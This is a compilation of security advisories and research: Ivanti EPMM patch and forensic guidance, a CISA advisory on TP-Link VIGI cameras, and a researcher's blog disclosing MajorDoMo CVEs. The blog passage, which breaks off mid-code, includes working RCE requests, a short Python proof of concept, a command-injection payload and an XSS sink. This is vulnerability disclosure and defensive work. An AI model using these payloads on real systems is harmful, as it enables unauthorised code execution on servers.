Partners are encouraged to bundle the fixes for all issues they are addressing in a single update.

3. What do the entries in the Type column mean?

Entries in the Type column of the vulnerability details table reference the classification of the security vulnerability.
Abbreviation 	Definition
RCE 	Remote code execution
EoP 	Elevation of privilege
ID 	Information disclosure
DoS 	Denial of service
N/A 	Classification not available

4. What do the entries in the References column mean?

Entries under the References column of the vulnerability details table may contain a prefix identifying the organization to which the reference value belongs.
Prefix 	Reference
A- 	Android bug ID
QC- 	Qualcomm reference number
M- 	MediaTek reference number
N- 	NVIDIA reference number
B- 	Broadcom reference number
U- 	UNISOC reference number

5. What does an * next to the Android bug ID in the References column mean?

Issues that are not publicly available have an * next to the corresponding reference ID. The update for that issue is generally contained in the latest binary drivers for Pixel devices available from the Google Developer site.

6. Why are security vulnerabilities split between this bulletin and device / partner security bulletins, such as the Pixel bulletin?

Security vulnerabilities that are documented in this security bulletin are required to declare the latest security patch level on Android devices. Additional security vulnerabilities that are documented in the device / partner security bulletins are not required for declaring a security patch level. Android device and chipset manufacturers may also publish security vulnerability details specific to their products, such as Google, Huawei, LGE, Motorola, Nokia, or Samsung.


MoveIT vulnerabilities exploited

- [Exploit Attempts Recorded Against New MOVEit Transfer Vulnerability - Patch ASAP!](https://thehackernews.com/2024/06/new-moveit-transfer-vulnerability-under.html) - June 2024 -  CVE-2024-5806 and CVE-2024-5805
- [Third Flaw Uncovered in MOVEit Transfer App Amidst Cl0p Ransomware Mass Attack](https://thehackernews.com/2023/06/third-flaw-uncovered-in-moveit-transfer.html) - Jun 16, 2023 - CVE-2023-35708
- [Amazon confirms employee data breach after vendor hack](https://www.bleepingcomputer.com/news/security/amazon-confirms-employee-data-breach-after-vendor-hack/) - November 11, 2024 - Most probably CVE-2023-35708


# Security Advisory Ivanti Endpoint Manager Mobile (EPMM) (CVE-2026-1281 & CVE-2026-1340)

https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340?language=en_US
https://forums.ivanti.com/s/article/Analysis-Guidance-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340?language=en_US

Article Number : 000104594

## Summary
Ivanti has released updates for Endpoint Manager Mobile (EPMM) which addresses two critical severity vulnerabilities. Successful exploitation could lead to unauthenticated remote code execution.

We are aware of a very limited number of customers whose solution has been exploited at the time of disclosure.

This vulnerability does not impact any other Ivanti products, including any cloud products, such as Ivanti Neurons for MDM. Ivanti Endpoint Manager (EPM) is a different product and also not impacted by these vulnerabilities. Customers using an Ivanti cloud product with Sentry are also not impacted by this vulnerability.
## Vulnerability Details:

| CVE Number        | Description                                                                 | CVSS Score (Severity) | CVSS Vector                         | CWE     |
|-------------------|-----------------------------------------------------------------------------|------------------------|--------------------------------------|---------|
| CVE-2026-1281     | Code injection in Ivanti Endpoint Manager Mobile allowing unauthenticated RCE | 9.8 (Critical)         | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H  | CWE-94 |
| CVE-2026-1340     | Code injection in Ivanti Endpoint Manager Mobile allowing unauthenticated RCE | 9.8 (Critical)         | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H  | CWE-94 |

## Affected Versions
| Product Name                    | Affected Version(s)                                  | Affected CPE(s)                                                                 | Resolved Version(s) | Patch Availability |
|---------------------------------|------------------------------------------------------|----------------------------------------------------------------------------------|---------------------|--------------------|
| Ivanti Endpoint Manager Mobile  | 12.5.0.0 and prior
12.6.0.0 and prior
12.7.0.0 and prior | cpe:2.3: a:ivanti:endpoint_manager_mobile:12.7.0.0:*:*:*:*:*:*:*                  | RPM 12.x.0.x        | https://support.mobileiron.com/mi/vsp/AB1771634/ivanti-security-update-1761642-1.0.0S-5.noarch.rpm |
| Ivanti Endpoint Manager Mobile  | 12.5.1.0 and prior
12.6.1.0 and prior              | cpe:2.3: a:ivanti:endpoint_manager_mobile:12.5.1.0:*:*:*:*:*:*:*
cpe:2.3: a:ivanti:endpoint_manager_mobile:12.6.1.0:*:*:*:*:*:*:* | RPM 12.x.1.x        | https://support.mobileiron.com/mi/vsp/AB1771634/ivanti-security-update-1761642-1.0.0L-5.noarch.rpm |

Customers should apply either RPM 12.x.0.x or RPM 12.x.1.x, depending on their version. Customers do not need to apply both RPMs as they are version specific, not vulnerability specific.

No downtime is required to apply this patch, and we are not aware of any feature functionality impact with this patch.

RPM_12.x.0.x Applicable versions: 12.5.0.x, 12.6.0.x and 12.7.0.x

	- Compatible Versions: 12.3.0.x and 12.4.0.x

RPM_12.x.1.x Applicable Versions: 12.5.1.0 and 12.6.1.0

Important: the RPM script does not survive a version upgrade. If after applying the RPM script to your appliance, you upgrade to a new version you will need to reinstall the RPM. The permanent fix for this vulnerability will be included in the next product release: 12.8.0.0.

Customers need to prefix the support.mobileiron.com credentials while using the install rpm command.

Below you can find the Syntax to run the patch:

```
		install rpm url https://username:password@support.mobileiron.com/mi/vsp/AB1771634/ivanti-security-update-1761642-1.0.0S-5.noarch.rpm
```

OR

```
    install rpm url https://username:password@support.mobileiron.com/mi/vsp/AB1771634/ivanti-security-update-1761642-1.0.0L-5.noarch.rpm
```

The username and password are the customers software download credentials. For more detailed instructions, please leverage the following steps.

We strongly encourage all EPMM customers to adopt version 12.8.0.0 once it has been released later in Q1 2026. Once you have upgraded to 12.8.0.0, you will not need to reapply the RPM script.  We are providing Technical Analysis that includes affected endpoint specifics and log analysis guidance which can be found below to support investigation and forensics.

Customers should determine their own risk appetite when securing their environment. The most conservative approach, regardless of exploitation, would be to build a replacement EPMM and then migrate data to the device. You can find instructions on how to do this HERE. This does not require re-enrollment of devices.

Note: Ivanti is dedicated to ensuring the security and integrity of our enterprise software products. We recognize the vital role that security researchers, ethical hackers, and the broader security community play in identifying and reporting vulnerabilities. Visit HERE to learn more about our Vulnerability Disclosure Policy.

# Analysis Guidance Ivanti Endpoint Manager Mobile (EPMM)

The information in this document includes threat indicators and defensive measures and was created for the purpose of assisting Ivanti customers and defenders as they examine their Ivanti EPMM solution for any impact due to the recently disclosed Remote Code Execution vulnerabilities (CVE-2026-1281 & CVE-2026-1340). This document includes information about reviewing logs for potential exploitation, details about potential impact from successful exploitation, and methods for recovery and remediation.

It is important for you to know that neither CVE-2026-1281 nor CVE-2026-1340 impacts Ivanti Sentry. However, the EPMM must have access to Sentry, including the execution of commands, for Sentry to function and the configuration to be maintained. As such, this document also includes information on reviewing Ivanti Sentry for potential lateral movement. Customers who use Ivanti Sentry with their Neurons for MDM do not need to follow this guidance.

Ivanti Endpoint Manager (Ivanti EPM) is a different product and not impacted by this vulnerability. Ivanti Neurons for MDM is not impacted by this vulnerability.

Before performing any analysis, we strongly recommend you apply the latest security patches. The latest information for protecting your EPMM from both CVEs is available here: https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340
Limitations on Atomic Indicators

Due to the small number of known-impacted customers, Ivanti does not have enough information about the threat actor tactics to provide proven, reliable atomic indicators. This document will focus on more generic information about detecting attempted exploitation instead of reconnaissance or post-exploitation activities.

If more reliable information becomes available in the future, Ivanti will update this page. The last revision date is at the top.
Log Analysis

CVE-2026-1281 and CVE-2026-1340 affect the In-House Application Distribution and the Android File Transfer Configuration features. The Apache Access Log (/var/log/httpd/https-access_log) will record attempted and successful exploitation of both vulnerabilities. If you use these features, you may see legitimate traffic to these endpoints. Legitimate use of these capabilities will result in 200 HTTP response codes in the Apache Access Log whereas successful or attempted exploitation will cause 404 HTTP response codes. We recommend reviewing these and any other GET requests with parameters that have bash commands.

The following regular expression can be used to quickly triage httpd log files:

```
^(?!127\.0\.0\.1:\d+ .*$).*?\/mifs\/c\/(aft|app)store\/fob\/.*?404
```
Deployments that have been patched will generate legitimate heartbeat requests to the service. The above regular expression is written to exclude such events. An example of the heartbeat is below:

```
127.0.0.1:33354 - - 2026-01-28--12-00-01 "GET /mifs/c/aftstore/fob/3/0/sha256:kid=0 HTTP/1.1" 404
```

The on-box logging can be manipulated by a threat actor who has successfully exploited the system. We strongly recommend reviewing your SIEM or other log aggregator/collector rather than the logs from the system itself (see Off-box logging instructions below).
Reviewing for post-exploit persistence

Based on Ivanti’s analysis of threat actor toolkits targeting older vulnerabilities of the Ivanti EPMM application, we have seen two common methods of persistence.

The most common is the introduction of, or modification of, malicious files to introduce web shell capabilities. Ivanti has commonly seen these changes target HTTP error pages, such as 401.jsp. Any requests to these pages with POST methods or with parameters should be considered highly suspicious. Analysts who are performing forensic inspection of the disk should also review for unexpected WAR or JAR files being introduced to the system.

The latter is the deployment of reverse shells. The Ivanti EPMM appliance does not commonly make outbound network connections. We recommend reviewing firewall logs for long-running connections initiated by the appliance.
Off-box logging

Based on Ivanti’s analysis of threat actor toolkits targeting older vulnerabilities on the Ivanti appliance, analysts should assume that the threat actor techniques will likely include the clearing of logs or removal of specific log entries. Furthermore, the log files on an EPMM appliance are rotated based on both the size and time range. Systems with high utilization and/or increased logging, such as debug logging, may see their logs rotate multiple times a day.

To ensure you can investigate issues on your appliance, we strongly recommend you make use of our Data Export features to forward logs from your EPMM solution to a SIEM. More information about forwarding logs using syslog can be found here: https://help.ivanti.com/mi/help/en_us/core/11.x/sys/CoreSystemManager/Data_Export__SysLog.htm

## Impact

### EPMM

Successful exploitation of the EPMM appliance will enable arbitrary code execution on the appliance. Aside from lateral movement to the connected environment, EPMM also contains sensitive information about devices managed by the appliance. Below is the list of potentially available data types.

| Category                              | Description |
|--------------------------------------|-------------|
| Information about the EPMM Administrator | First and Last Name
Business Email Address
Account Username |
| Information about a device user       | Account Username
First and Last Name
Email Address
User Principal Name (Active Directory) |
| Information about mobile devices     | Phone number(s)
Nearest cell tower location
GPS location
Device Identifier (UUID or SSAID)
IMEI
ICCID (iOS)
IMSI or MEID
Azure AD Device ID (Windows only)
Wi-Fi, Bluetooth, Ethernet MAC Address
Installed applications (name and version)
IP Address
UUID
GCM or APNs Token |

In general, any information that is available on EPMM’s MIFS portal should be considered as available to an attacker after a successful exploit.

In addition to obtaining the above information, the API can be used to make changes to the EPMM configuration. If the changes are made through the API or web console, these changes are logged. Depending on your risk tolerance, you may want to review your EPMM configuration. For any appliance that you suspect may be impacted, we would recommend you review:

- EPMM administrators for new or recently changed administrators.

-  Authentication configuration, including SSO and LDAP settings.

-  New pushed applications for mobile devices.

- Configuration changes to applications you push to devices, including in-house applications.

- New or recently modified policies.

- Network configuration changes, including any network configuration or VPN configuration you push to mobile devices.

Please note that this is general guidance and Ivanti has not observed or received any indication that such changes have been made to a customer’s EPMM appliance maliciously.
Sentry

While EPMM can be restricted to a DMZ with little to no access to the rest of a corporate network, Sentry is specifically intended to tunnel specific types of traffic from mobile devices to internal network assets. If you suspect that your EPMM appliance is impacted, we recommend you review the systems that Sentry can access for potential recon or lateral movement.
Remediation and Recovery

Due to the complexity of the EPMM product, Ivanti does NOT recommend attempting to clean the system after it has been compromised. If your system is confirmed compromised, there are two options for restoring your device to a known-good state.

#### Option 1:

Our preferred recommendation is to restore your Ivanti EPMM from existing, known good backups from your enterprise backup solution or from virtual machine snapshots. When choosing the optimal backup solution, please take into consideration the exploit timing.

The log analysis should provide indication of date/time of first successful exploit.

Considering the vulnerability to have remained unpatched, you may have to check for a backup that is previous to the earliest log entry (IoC).

#### Option 2:

If it is not possible to recover your EPMM from a backup, Ivanti recommends building a replacement EPMM and then migrating data to the device. Information on how to do this can be found here: https://forums.ivanti.com/s/article/EPMM-Rebuild-the-EPMM-with-options

Additional documentation on the System Backup feature can be found here: https://help.ivanti.com/mi/help/en_us/core/11.x/sys/CoreSystemManager/System_backup.htm

NOTE: In both cases above, it is critical to restore the system while it is not available to the internet and then apply the approved mitigation or patches before returning the system to service. You can safely return the system to service once all remediation and recovery actions are completed.

After restoring the system, we recommend making the following additional changes to help secure your environment:

  -  Reset the password of any local EPMM accounts.

  -  Reset the password the LDAP and/or KDC service accounts perform lookups. https://help.ivanti.com/mi/help/en_us/core/11.x/gsg/CoreGettingStarted/Configuring_LDAP_servers.htm

  -  Revoke and replace the public certificate used for your EPMM.

  -  Reset the password for any other internal or external service accounts configured with EPMM solution.

### Scanning Activity

Ivanti expects security researchers, both individuals and organizations, to begin scanning internet-facing appliances for this specific endpoint after the patch is released. Such scanning will make it more difficult to separate scanning from exploit attempts. Besides advising you to review the source of the IP addresses, there is no additional advice Ivanti can provide to separate scanning activity from attempted exploit.

Details on Location Tracking Services

EPMM collects Device location based on privacy policy settings. It is disabled by default. The feature is applicable for iOS and Android platforms.

You can find information about how the service is configured here: https://help.ivanti.com/mi/help/en_us/core/11.x/gsg/CoreGettingStarted/Privacy_policies.htm

This is where you can see the data through the admin console: https://help.ivanti.com/mi/help/en_us/CORE/12.x/dmga/DMGfiles/Locate.htm
Concerning Encrypted Private Keys in Core Database

Ivanti EPMM stores encrypted private keys along with hashed passwords in database when customers enable the “Store keys on Core” feature. Even with significant expertise in the EPMM product, it is difficult to be able to obtain a password and successfully decrypt the private keys. Ivanti has never seen this performed in the wild. More information on this feature can be found here: https://help.ivanti.com/mi/help/en_us/CORE/12.x/dmga/DMGfiles/Cert_Enroll_s_1_ConfigSCEP.htm. This feature is disabled by default.

However, Ivanti recommends revoking previously generated user certificates and regenerating using admin driven action from the EPMM product. Instructions for revoking certifications can be found here: https://help.ivanti.com/mi/help/en_us/CORE/14.x/dmga/DMGfiles/About_logs_CertMgmt.htm#troubleshooting_3631632413_1032053

## FAQ

1.   Are you aware of any active exploitation of these vulnerabilities?

We are aware of a very limited number of customers who have been exploited at the time of disclosure.

2.  How can I tell if I have been compromised?

The investigation is ongoing and Ivanti does not have reliable atomic indicators at this time. We are providing a Technical Analysis for defenders HERE.

3.  Is Sentry vulnerable?

No, Sentry does not contain this vulnerability, however you should always review the security of the Sentry appliance at the same time as EPMM due to the dependency it has on the EPMM appliance and configuration.

Customers who use Sentry with a cloud product are not impacted by this vulnerability.

4.  Is Ivanti Neurons for MDM vulnerable?

No. Ivanti Neurons does not contain this vulnerability. Ivanti cloud solutions are not impacted by this vulnerability.

5.  What actions have Ivanti taken in response to this discovery?

In addition to rapidly and proactively providing a patch, Ivanti has mobilized additional resources and support teams to assist customers and is actively collaborating with security partners, the broader security community and law enforcement.

6.  Will HA sync apply the RPM patch to our secondary core if a secondary core is being used?

No, the RPM patch needs to be applied to each core separately. HA Sync will not apply the patch to any secondary cores automatically.

7.  Do I need to apply both RPM patches?

No. The RPM patches are version specific, not vulnerability specific. You only need to apply the RPM patch that corresponds with your version.

8.  How do I validate if the RPM was applied successfully?

When the RPM is installed, there will be a response line indicating success. An error of any kind will be generated if there’s an issue with the application.

9.  What should I do if I need help?


Ref: [TP-Link Systems Inc. VIGI Series IP Camera ](https://www.cisa.gov/news-events/ics-advisories/icsa-26-036-01)

# TP-Link Systems Inc. VIGI Series IP Camera | CISA
[**View CSAF**](https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-036-01.json)

Summary
-------

**Successful exploitation of this vulnerability could result in unauthorized users gaining administrative access to affected closed circuit television cameras.**

The following versions of TP-Link Systems Inc. VIGI Series IP Camera are affected:

*   VIGI Cx45 Series Models C345, C445 <=3.1.0\_Build\_250820\_Rel.57668n (CVE-2026-0629)
*   VIGI Cx55 Series Models C355, C455 <=3.1.0\_Build\_250820\_Rel.58873n (CVE-2026-0629)
*   VIGI Cx85 Series Models C385, C485 <=3.0.2\_Build\_250630\_Rel.71279n (CVE-2026-0629)
*   VIGI C340S Series <=3.1.0\_Build\_250625\_Rel.65381n (CVE-2026-0629)
*   VIGI C540S Series Models C540S, EasyCam C540S <=3.1.0\_Build\_250625\_Rel.66601n (CVE-2026-0629)
*   VIGI C540V Series <=2.1.0\_Build\_250702\_Rel.54300n (CVE-2026-0629)
*   VIGI C250 Series <=2.1.0\_Build\_250702\_Rel.54301n (CVE-2026-0629)
*   VIGI Cx50 Series Models C350, C450 <=2.1.0\_Build\_250702\_Rel.54294n (CVE-2026-0629)
*   VIGI Cx20I (1.0) Series Models C220I 1.0, C320I 1.0, C420I 1.0 <=2.1.0\_Build\_251014\_Rel.58331n (CVE-2026-0629)
*   VIGI Cx20I (1.20) Series Models C220I 1.20, C320I 1.20, C420I 1.20 <=2.1.0\_Build\_250701\_Rel.44071n (CVE-2026-0629)
*   VIGI Cx30I (1.0) Series Models C230I 1.0, C330I 1.0, C430I 1.0 <=2.1.0\_Build\_250701\_Rel.45506n (CVE-2026-0629)
*   VIGI Cx30I (1.20) Series Models C230I 1.20, C330I 1.20, C430I 1.20 <=2.1.0\_Build\_250701\_Rel.44555n (CVE-2026-0629)
*   VIGI Cx30 (1.0) Series Models C230 1.0, C330 1.0, C430 1.0 <=2.1.0\_Build\_250701\_Rel.46796n (CVE-2026-0629)
*   VIGI Cx30 (1.20) Series Models C230 1.20, C330 1.20, C430 1.20 <=2.1.0\_Build\_250701\_Rel.46796n (CVE-2026-0629)
*   VIGI Cx40I (1.0) Series Models C240I 1.0, C340I 1.0, C440I 1.0 <=2.1.0\_Build\_250701\_Rel.46003n (CVE-2026-0629)
*   VIGI Cx40I (1.20) Series Models C240I 1.20, C340I 1.20, C440I 1.20 <=2.1.0\_Build\_250701\_Rel.45041n (CVE-2026-0629)
*   VIGI C230I Mini Series <=2.1.0\_Build\_250701\_Rel.47570n (CVE-2026-0629)
*   VIGI C240 1.0 Series <=2.1.0\_Build\_250701\_Rel.48425n (CVE-2026-0629)
*   VIGI C340 2.0 Series <=2.1.0\_Build\_250701\_Rel.49304n (CVE-2026-0629)
*   VIGI C440 2.0 Series <=2.1.0\_Build\_250701\_Rel.49778n (CVE-2026-0629)
*   VIGI C540 2.0 Series <=2.1.0\_Build\_250701\_Rel.50397n (CVE-2026-0629)
*   VIGI C540‑4G Series <=2.2.0\_Build\_250826\_Rel.56808n (CVE-2026-0629)
*   VIGI Cx40‑W Series Models C340‑W 2.0/2.20, C440‑W 2.0, C540‑W 2.0 <=2.1.1\_Build\_250717 (CVE-2026-0629)
*   VIGI Cx20 Series Models C320, C420 <=2.1.0\_Build\_250701\_Rel.39597n (CVE-2026-0629)
*   VIGI InSight Sx45 Series Models S245, S345, S445 <=3.1.0\_Build\_250820\_Rel.57668n (CVE-2026-0629)
*   VIGI InSight Sx55 Series Models S355, S455 <=3.1.0\_Build\_250820\_Rel.58873n (CVE-2026-0629)
*   VIGI InSight Sx85 Series Models S285, S385 <=3.0.2\_Build\_250630\_Rel.71279n (CVE-2026-0629)
*   VIGI InSight Sx45ZI Series Models S245ZI, S345ZI, S445ZI <=1.2.0\_Build\_250820\_Rel.60930n (CVE-2026-0629)
*   VIGI InSight Sx85PI Series Models S385PI, S485PI <=1.2.0\_Build\_250827\_Rel.66817n (CVE-2026-0629)
*   VIGI InSight S655I Series <=1.1.1\_Build\_250625\_Rel.64224n (CVE-2026-0629)
*   VIGI InSight S345‑4G Series <=2.1.0\_Build\_250725\_Rel.36867n (CVE-2026-0629)
*   VIGI InSight Sx25 Series Models S225, S325, S425 <=1.1.0\_Build\_250630\_Rel.39597n (CVE-2026-0629)

|CVSS  |Vendor              |Equipment                                 |Vulnerabilities        |
|------|--------------------|------------------------------------------|-----------------------|
|v3 8.8|TP-Link Systems Inc.|TP-Link Systems Inc. VIGI Series IP Camera|Improper Authentication|

### Background

*   **Critical Infrastructure Sectors:** Commercial Facilities
*   **Countries/Areas Deployed:** Worldwide
*   **Company Headquarters Location:** China

* * *

Vulnerabilities
---------------

[Expand All +](#)

### [CVE-2026-0629](#)

An authentication bypass in the password recovery feature of the local web interface across multiple VIGI camera models allows an attacker on the LAN to reset the admin password without verification by manipulating client-side state. Attackers can gain full administrative access to the device, compromising configuration and network security.

[View CVE Details](https://www.cve.org/CVERecord?id=CVE-2026-0629)

* * *

#### Affected Products

##### TP-Link Systems Inc. VIGI Series IP Camera

**Vendor:**
TP-Link Systems Inc.

**Product Version:**
TP-Link Systems Inc. VIGI Cx45 Series Models C345, C445: <=3.1.0\_Build\_250820\_Rel.57668n, TP-Link Systems Inc. VIGI Cx55 Series Models C355, C455: <=3.1.0\_Build\_250820\_Rel.58873n, TP-Link Systems Inc. VIGI Cx85 Series Models C385, C485: <=3.0.2\_Build\_250630\_Rel.71279n, TP-Link Systems Inc. VIGI C340S Series: <=3.1.0\_Build\_250625\_Rel.65381n, TP-Link Systems Inc. VIGI C540S Series Models C540S, EasyCam C540S: <=3.1.0\_Build\_250625\_Rel.66601n, TP-Link Systems Inc. VIGI C540V Series: <=2.1.0\_Build\_250702\_Rel.54300n, TP-Link Systems Inc. VIGI C250 Series: <=2.1.0\_Build\_250702\_Rel.54301n, TP-Link Systems Inc. VIGI Cx50 Series Models C350, C450: <=2.1.0\_Build\_250702\_Rel.54294n, TP-Link Systems Inc. VIGI Cx20I (1.0) Series Models C220I 1.0, C320I 1.0, C420I 1.0: <=2.1.0\_Build\_251014\_Rel.58331n, TP-Link Systems Inc. VIGI Cx20I (1.20) Series Models C220I 1.20, C320I 1.20, C420I 1.20: <=2.1.0\_Build\_250701\_Rel.44071n, TP-Link Systems Inc. VIGI Cx30I (1.0) Series Models C230I 1.0, C330I 1.0, C430I 1.0: <=2.1.0\_Build\_250701\_Rel.45506n, TP-Link Systems Inc. VIGI Cx30I (1.20) Series Models C230I 1.20, C330I 1.20, C430I 1.20: <=2.1.0\_Build\_250701\_Rel.44555n, TP-Link Systems Inc. VIGI Cx30 (1.0) Series Models C230 1.0, C330 1.0, C430 1.0: <=2.1.0\_Build\_250701\_Rel.46796n, TP-Link Systems Inc. VIGI Cx30 (1.20) Series Models C230 1.20, C330 1.20, C430 1.20: <=2.1.0\_Build\_250701\_Rel.46796n, TP-Link Systems Inc. VIGI Cx40I (1.0) Series Models C240I 1.0, C340I 1.0, C440I 1.0: <=2.1.0\_Build\_250701\_Rel.46003n, TP-Link Systems Inc. VIGI Cx40I (1.20) Series Models C240I 1.20, C340I 1.20, C440I 1.20: <=2.1.0\_Build\_250701\_Rel.45041n, TP-Link Systems Inc. VIGI C230I Mini Series: <=2.1.0\_Build\_250701\_Rel.47570n, TP-Link Systems Inc. VIGI C240 1.0 Series: <=2.1.0\_Build\_250701\_Rel.48425n, TP-Link Systems Inc. VIGI C340 2.0 Series: <=2.1.0\_Build\_250701\_Rel.49304n, TP-Link Systems Inc. VIGI C440 2.0 Series: <=2.1.0\_Build\_250701\_Rel.49778n, TP-Link Systems Inc. VIGI C540 2.0 Series: <=2.1.0\_Build\_250701\_Rel.50397n, TP-Link Systems Inc. VIGI C540‑4G Series: <=2.2.0\_Build\_250826\_Rel.56808n, TP-Link Systems Inc. VIGI Cx40‑W Series Models C340‑W 2.0/2.20, C440‑W 2.0, C540‑W 2.0: <=2.1.1\_Build\_250717, TP-Link Systems Inc. VIGI Cx20 Series Models C320, C420: <=2.1.0\_Build\_250701\_Rel.39597n, TP-Link Systems Inc. VIGI InSight Sx45 Series Models S245, S345, S445: <=3.1.0\_Build\_250820\_Rel.57668n, TP-Link Systems Inc. VIGI InSight Sx55 Series Models S355, S455: <=3.1.0\_Build\_250820\_Rel.58873n, TP-Link Systems Inc. VIGI InSight Sx85 Series Models S285, S385: <=3.0.2\_Build\_250630\_Rel.71279n, TP-Link Systems Inc. VIGI InSight Sx45ZI Series Models S245ZI, S345ZI, S445ZI: <=1.2.0\_Build\_250820\_Rel.60930n, TP-Link Systems Inc. VIGI InSight Sx85PI Series Models S385PI, S485PI: <=1.2.0\_Build\_250827\_Rel.66817n, TP-Link Systems Inc. VIGI InSight S655I Series: <=1.1.1\_Build\_250625\_Rel.64224n, TP-Link Systems Inc. VIGI InSight S345‑4G Series: <=2.1.0\_Build\_250725\_Rel.36867n, TP-Link Systems Inc. VIGI InSight Sx25 Series Models S225, S325, S425: <=1.1.0\_Build\_250630\_Rel.39597n

**Product Status:**
known\_affected

**Relevant CWE:** [CWE-287 Improper Authentication](https://cwe.mitre.org/data/definitions/287.html)

* * *

#### Metrics

* * *

Acknowledgments
---------------

*   Arko Dhar of Redinent Innovations reported this vulnerability to CISA

* * *

Legal Notice and Terms of Use
-----------------------------

This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy & Use policy (https://www.cisa.gov/privacy-policy).

* * *

Recommended Practices
---------------------

CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability, such as:

Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the Internet.

Locate control system networks and remote devices behind firewalls and isolating them from business networks.

When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.

CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.

CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.

CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.

Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.

Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.

No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time. This vulnerability is not exploitable remotely.

* * *

Revision History
----------------

*   **Initial Release Date:** 2026-02-05

|Date      |Revision|Summary            |
|----------|--------|-------------------|
|2026-02-05|1       |Initial Publication|

* * *

Legal Notice and Terms of Use
-----------------------------


# MajorDoMo Revisited: What I Missed in 2023 - Chocapikk's Cybersecurity Blog
Context
-------

In late 2023, I published [CVE-2023-50917](https://chocapikk.com/posts/2023/cve-2023-50917/) - an unauthenticated RCE in MajorDoMo’s `thumb` module. It was my first CVE. I was proud of it, moved on, never looked back.

In February 2026, I pointed AI agents at the same codebase. Within minutes they flagged code paths I had walked right past. Eight bugs, all in the default install, all missed for over two years.

CVE-2026-27174: Console Eval RCE (Critical)
-------------------------------------------

The admin panel has a PHP console - an intentional feature for authorized admins. The problem is an include order bug in `modules/panel.class.php`:

```
// panel.class.php:124-127 - redirect for unauth users... but no exit
if ($tmp['ID']) {
    redirect("/");
    // execution continues!
}

// panel.class.php:131-134 - ajax handler included WITHOUT checking $this->authorized
global $ajax_panel;
if ($ajax_panel) {
    include_once(DIR_MODULES . 'inc_panel_ajax.php');
}
```

The `redirect("/")` was meant to stop unauthenticated users, but without `exit` the code keeps running. Then `inc_panel_ajax.php` gets included unconditionally. Inside, the console handler reaches `eval()` directly:

```
// inc_panel_ajax.php:32-47 - the sink
if ($op == 'console') {
    global $command;  // ← from GET params via register_globals
    $code = explode('PHP_EOL', $command);

    foreach ($code as $value) {
        $value = trim($value);
        if (substr(mb_strtolower($value), 0, 4) == 'echo' || ...) {
            evalConsole(trim($value));     // calls eval($code)
        } else {
            evalConsole(trim($value), 1);  // calls eval('print_r(' . $code . ')')
        }
    }
}
```

`$ajax_panel`, `$op`, and `$command` all come from GET parameters via register\_globals. No authentication check stands between the request and `eval()`.

```
GET /admin.php?ajax_panel=1&op=console&command=echo+shell_exec('id');
```

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

The PoC is 7 lines of Python:

```
import requests, sys

target = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8899"
r = requests.get(f"{target}/admin.php", params={
    "ajax_panel": "1", "op": "console",
    "command": "echo shell_exec('id');",
})
print(r.text.strip() or "[-] Not vulnerable")
```

CVE-2026-27175: Command Injection via Race Condition (Critical)
---------------------------------------------------------------

`rc/index.php` handles remote commands. The `$param` variable is injected into double quotes without `escapeshellarg()`:

```
// rc/index.php:18-23 - source
if(!empty($command) && file_exists('./rc/commands/'.$command.'.bat')) {
    $commandPath = DOC_ROOT.'/rc/commands/'.$_GET['command'].'.bat';
    if(!empty($param))
        $commandPath .= ' "'.$param.'"';  // ← shell metacharacters pass through
    safe_exec($commandPath);
}
```

The irony: `safe_exec()` is not safe at all. It just inserts the command string into the database:

```
// lib/common.class.php:751 - safe_exec() is just SQLInsert
function safe_exec($command, $exclusive = 0, $priority = 0, $on_complete = '') {
    $rec = array();
    $rec['COMMAND'] = $command;  // ← no sanitization
    $rec['ID'] = SQLInsert('safe_execs', $rec);
    return $rec['ID'];
}
```

Then `cycle_execs.php` picks it up and passes it to `exec()` with zero sanitization:

```
// scripts/cycle_execs.php:20-38 - the sink
SQLExec("DELETE FROM safe_execs");  // purge on startup

while (1) {
    if ($safe_execs = SQLSelectOne("SELECT * FROM safe_execs ORDER BY PRIORITY DESC, ID")) {
        $command = $safe_execs['COMMAND'];
        SQLExec("DELETE FROM safe_execs WHERE ID = '" . $safe_execs['ID'] . "'");
        exec($command);  // ← attacker-controlled string from the queue
    }
    sleep(1);
}
```

Default `.bat` files like `shutdown.bat` exist in every install, so `file_exists()` passes. But the interesting part is the trigger.

`cycle_execs.php` is web-accessible with no auth. On startup it purges the queue (`DELETE FROM safe_execs`), then enters a `while(1)` loop polling every second. So you can’t just inject then trigger - the purge kills your payload.

The trick is a race condition: start the worker first (it purges and enters the loop), then inject while it’s polling. Next iteration picks up and executes your payload.

```
GET /scripts/cycle_execs.php          <- start worker (blocks, loops forever)
GET /rc/?command=shutdown&param=$(id > /tmp/pwned)   <- inject during loop
```

Within 1 second, `cycle_execs.php` picks up the queued command and calls `exec()`:

```
/var/www/html/rc/commands/shutdown.bat "$(id > /tmp/pwned)"
```

`$(id > /tmp/pwned)` expands inside the double quotes. Full RCE, not blind.

CVE-2026-27176: Reflected XSS (Medium)
--------------------------------------

Classic missing `htmlspecialchars()` on `$qry`:

```
<input type="text" name="qry" value="<?php echo $qry;?>" ...>
